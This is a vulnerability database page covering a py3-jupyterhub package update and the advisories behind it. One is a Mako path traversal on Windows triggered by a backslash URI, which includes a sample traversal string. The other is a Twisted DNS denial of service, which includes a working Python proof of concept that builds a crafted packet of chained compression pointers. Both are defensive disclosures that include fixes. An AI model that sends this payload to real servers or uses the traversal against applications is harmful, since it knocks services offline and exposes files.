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Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:30
Summary
Security fixes in py3-jupyterhub 5.4.6-r0
Details
Package py3-jupyterhub version 5.4.6-r0 fixes 4 vulnerabilities: CVE-2026-44307, CVE-2026-42304, ghsa-grgv-6hw6-v9g4, ghsa-2h4p-vjrc-8xpq
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "py3-jupyterhub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.6-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.4.6-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package py3-jupyterhub version 5.4.6-r0 fixes 4 vulnerabilities: CVE-2026-44307, CVE-2026-42304, ghsa-grgv-6hw6-v9g4, ghsa-2h4p-vjrc-8xpq",
"id": "CLEANSTART-2026-IB96033",
"modified": "2026-07-30T09:30:29Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyterhub/jupyterhub"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in py3-jupyterhub 5.4.6-r0",
"upstream": [
"CVE-2026-44307",
"CVE-2026-42304",
"ghsa-grgv-6hw6-v9g4",
"ghsa-2h4p-vjrc-8xpq"
]
}
CVE-2026-42304 (GCVE-0-2026-42304)
Vulnerability from cvelistv5 – Published: 2026-05-13 20:20 – Updated: 2026-05-14 15:45
VLAI
EPSS
VEX
Title
Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains
Summary
Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/twisted/twisted/security/advis… | x_refsource_CONFIRM |
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CVE-2026-44307 (GCVE-0-2026-44307)
Vulnerability from cvelistv5 – Published: 2026-05-12 21:53 – Updated: 2026-05-13 15:00
VLAI
EPSS
VEX
Title
Mako: Path traversal via backslash URI on Windows in TemplateLookup
Summary
Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/sqlalchemy/mako/security/advis… | x_refsource_CONFIRM |
| https://github.com/sqlalchemy/mako/issues/435 | x_refsource_MISC |
| https://github.com/sqlalchemy/mako/commit/72e10c5… | x_refsource_MISC |
| https://github.com/sqlalchemy/mako/releases/tag/r… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| sqlalchemy | mako |
Affected:
< 1.3.12
|
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GHSA-2H4P-VJRC-8XPQ
Vulnerability from github – Published: 2026-05-06 21:45 – Updated: 2026-05-13 16:43
VLAI
Summary
Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup
Details
Summary
On Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory.
Details
The root cause is a mismatch between posixpath (used for URI normalization in get_template()) and os.path (used for file access via os.path.isfile() and validation via os.path.normpath() in Template.__init__). On Windows, os.path is ntpath, which treats \ as a path separator, while posixpath treats it as a literal character.
The vulnerability chain:
get_template()strips only leading/viare.sub(r"^\/+", "", uri)and normalizes withposixpath— backslash\is treated as a literal character, so\..\ secret.txtpasses through with..undetected.Template.__init__()validation usesos.path.normpath()— on Windows this resolves\..\ secret.txtto\secret.txt, which does not start with.., so thestartswith("..")check passes.os.path.isfile()on Windows interprets\as a path separator, resolving the..traversal and finding files outside the template directory.
Affected code
mako/lookup.py:TemplateLookup.get_template()usesposixpath.normpath/posixpath.joinfor path construction butos.path.isfile()for existence checkmako/template.py:Template.__init__()URI validation usesos.path.normpath()which on Windows resolves backslash traversal to a form that passes thestartswith("..")guard
Impact
If an application passes user-controlled template names or include paths to TemplateLookup.get_template(), an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.
Remediation
The fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.11"
},
"package": {
"ecosystem": "PyPI",
"name": "Mako"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44307"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:45:16Z",
"nvd_published_at": "2026-05-12T22:16:37Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOn Windows, a URI using backslash traversal (e.g. `\\..\\..\\ secret.txt`) bypasses the directory traversal check in `Template.__init__` and the `posixpath`-based normalization in `TemplateLookup.get_template()`, allowing reads of files outside the configured template directory.\n\n\n## Details\n\nThe root cause is a mismatch between `posixpath` (used for URI normalization in `get_template()`) and `os.path` (used for file access via `os.path.isfile()` and validation via `os.path.normpath()` in `Template.__init__`). On Windows, `os.path` is `ntpath`, which treats `\\` as a path separator, while `posixpath` treats it as a literal character.\n\nThe vulnerability chain:\n\n1. `get_template()` strips only leading `/` via `re.sub(r\"^\\/+\", \"\", uri)` and normalizes with `posixpath` \u2014 backslash `\\` is treated as a literal character, so `\\..\\ secret.txt` passes through with `..` undetected.\n2. `Template.__init__()` validation uses `os.path.normpath()` \u2014 on Windows this resolves `\\..\\ secret.txt` to `\\secret.txt`, which does not start with `..`, so the `startswith(\"..\")` check passes.\n3. `os.path.isfile()` on Windows interprets `\\` as a path separator, resolving the `..` traversal and finding files outside the template directory.\n\n### Affected code\n\n- `mako/lookup.py`: `TemplateLookup.get_template()` uses `posixpath.normpath`/`posixpath.join` for path construction but `os.path.isfile()` for existence check\n- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()` which on Windows resolves backslash traversal to a form that passes the `startswith(\"..\")` guard\n\n## Impact\n\nIf an application passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.\n\n## Remediation\n\nThe fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.",
"id": "GHSA-2h4p-vjrc-8xpq",
"modified": "2026-05-13T16:43:11Z",
"published": "2026-05-06T21:45:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-2h4p-vjrc-8xpq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/issues/435"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/commit/72e10c573ca0fbcbddd4455abca8ce92a61780d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/sqlalchemy/mako"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup"
}
GHSA-GRGV-6HW6-V9G4
Vulnerability from github – Published: 2026-05-05 21:12 – Updated: 2026-06-08 20:05
VLAI
Summary
Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains
Details
Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
Technical Details
The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.
Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.
## src/twisted/names/dns.py (Lines 595-631)
def decode(self, strio, length=None):
visited = set()
self.name = b""
off = 0
while 1:
l = ord(readPrecisely(strio, 1))
if l == 0:
if off > 0:
strio.seek(off)
return
if (l >> 6) == 3:
new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
if new_off in visited:
raise ValueError("Compression loop in encoded name")
visited.add(new_off)
if off == 0:
off = strio.tell()
strio.seek(new_off)
continue
label = readPrecisely(strio, l)
if self.name == b"":
self.name = label
else:
self.name = self.name + b"." + label
PoC
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers
def create_tcp_payload():
num_pointers = 8000
packet_length = 65533
num_questions = (packet_length - (num_pointers * 2) - 12) // 6
buffer = bytearray(packet_length)
struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)
ptr_offset = 12
for _ in range(num_pointers - 1):
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
ptr_offset += 2
null_byte_offset = ptr_offset + 2
struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
buffer[null_byte_offset] = 0
question_offset = null_byte_offset + 1
for _ in range(num_questions):
if question_offset + 6 <= packet_length:
struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
question_offset += 6
return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer
def test_dns_server():
factory = server.DNSServerFactory(clients=[])
protocol = factory.buildProtocol(("127.0.0.1", 10053))
transport = proto_helpers.StringTransport()
protocol.makeConnection(transport)
pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
print("payload")
print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")
start = time.time()
protocol.dataReceived(payload)
end = time.time()
print(f"time={end - start:.4f}s")
if __name__ == "__main__":
test_dns_server()
Impact
A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.
Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
- Share the "resolved offset" state across all records in a single message to prevent redundant processing.
- Validate the number of questions before entering the decoding loop in Message.decode.
Resources
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/407.html
https://datatracker.ietf.org/doc/html/rfc9267
https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595
https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09
Author: Tomas Illuminati
Severity
7.5 (High)
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},
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"ecosystem": "PyPI",
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},
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}
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],
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"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:12:37Z",
"nvd_published_at": "2026-05-13T21:16:46Z",
"severity": "HIGH"
},
"details": "### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n## src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n visited = set()\n self.name = b\"\"\n off = 0\n while 1:\n l = ord(readPrecisely(strio, 1))\n if l == 0:\n if off \u003e 0:\n strio.seek(off)\n return\n if (l \u003e\u003e 6) == 3:\n new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n if new_off in visited:\n raise ValueError(\"Compression loop in encoded name\")\n visited.add(new_off)\n if off == 0:\n off = strio.tell()\n strio.seek(new_off)\n continue\n label = readPrecisely(strio, l)\n if self.name == b\"\":\n self.name = label\n else:\n self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n num_pointers = 8000\n packet_length = 65533\n num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n buffer = bytearray(packet_length)\n\n struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n ptr_offset = 12\n for _ in range(num_pointers - 1):\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n ptr_offset += 2\n\n null_byte_offset = ptr_offset + 2\n struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n buffer[null_byte_offset] = 0\n\n question_offset = null_byte_offset + 1\n for _ in range(num_questions):\n if question_offset + 6 \u003c= packet_length:\n struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n question_offset += 6\n\n return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n factory = server.DNSServerFactory(clients=[])\n protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n transport = proto_helpers.StringTransport()\n protocol.makeConnection(transport)\n\n pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n print(\"payload\")\n print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n start = time.time()\n protocol.dataReceived(payload)\n end = time.time()\n\n print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor\u0027s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati",
"id": "GHSA-grgv-6hw6-v9g4",
"modified": "2026-06-08T20:05:10Z",
"published": "2026-05-05T21:12:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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